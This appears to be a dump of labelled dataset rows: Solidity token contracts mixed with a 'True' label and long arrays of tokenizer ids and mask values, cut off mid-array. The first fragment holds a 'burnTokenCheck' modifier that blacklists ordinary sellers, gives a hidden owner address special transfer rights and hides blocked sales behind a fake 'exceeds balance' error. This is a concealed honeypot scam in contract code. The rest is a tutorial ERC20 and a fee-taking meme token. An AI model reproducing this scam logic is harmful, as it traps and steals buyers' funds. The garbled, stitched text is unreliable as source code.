modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2538,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2385,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1008,
1008,
1008,
1008,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
100,
100,
100,
100,
100,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can’t be over max (2²⁵⁶ — 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn’t wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name = "Rainbow Token"; //Name of the token
uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals
string public symbol ="RNBO"; //An identifier: eg AXM
string public version = "H1.1"; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THE FOLLOWING VALUES FOR YOUR TOKEN!
//
//make sure this function name matches the contract name above. So if you’re token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function ERC20Token(
) {
balances[msg.sender] = 450000000000000000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 900000000000000000000000000000000; // Update total supply (100000 for example)
name = "Rainbow Token"; // Set the name for display purposes
decimals = 18; // Amount of decimals
symbol = "RNBO"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn’t have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
1018,
1025,
3206,
19204,
1063,
1013,
1013,
1013,
1030,
2709,
2561,
3815,
1997,
19204,
2015,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
2013,
2029,
1996,
5703,
2097,
2022,
5140,
1013,
1013,
1013,
1030,
2709,
1996,
5703,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
1035,
2013,
1036,
2006,
1996,
4650,
2009,
2003,
4844,
2011,
1036,
1035,
2013,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2013,
1996,
4769,
1997,
1996,
4604,
2121,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
14300,
2015,
1036,
1035,
5587,
2099,
1036,
2000,
5247,
1036,
1035,
3643,
1036,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
11417,
2000,
2022,
4844,
2005,
4651,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
6226,
2001,
3144,
2030,
2025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
1997,
1996,
4070,
19273,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
2709,
3815,
1997,
3588,
19204,
2015,
3039,
2000,
2985,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
3588,
1007,
1063,
1065,
2724,
4651,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/*
* Join our Telegram at https://t.me/EatTheDipToken
* Fair launched
* Prepare for liftoff
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ETD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isnotTaxed;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotalAmt = (MAX-(MAX%_tTotal));
uint256 private _tFeeTotalAmt;
uint256 private _feeForAddr1;
uint256 private _feeForAddr2;
address payable private _marketingWallet;
string private constant _name = "EAT THE DIP";
string private constant _symbol = "ETD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingWallet = payable(0xDaB5dc22350f9a6Aff03Cf3D9341aAD0ba42d2a6);
_rOwned[_msgSender()] = _rTotalAmt;
_isnotTaxed[owner()] = true;
_isnotTaxed[address(this)] = true;
_isnotTaxed[_marketingWallet] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotalAmt, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeForAddr1 = 2;
_feeForAddr2 = 3;
if (from != owner() && to != owner()) {
if (from != address(uniswapV2Router) && to == uniswapV2Pair && ! _isnotTaxed[from]) {
_feeForAddr1 = 2;
_feeForAddr2 = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 1e11 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalAmt = _rTotalAmt.sub(rFee);
_tFeeTotalAmt = _tFeeTotalAmt.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeForAddr1, _feeForAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalAmt;
uint256 tSupply = _tTotal;
if (rSupply < _rTotalAmt.div(_tTotal)) return (_rTotalAmt, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2340,
1011,
2260,
1008,
1013,
1013,
1008,
1008,
3693,
2256,
23921,
2012,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
4521,
23816,
11514,
18715,
2368,
1008,
4189,
3390,
1008,
7374,
2005,
6336,
7245,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
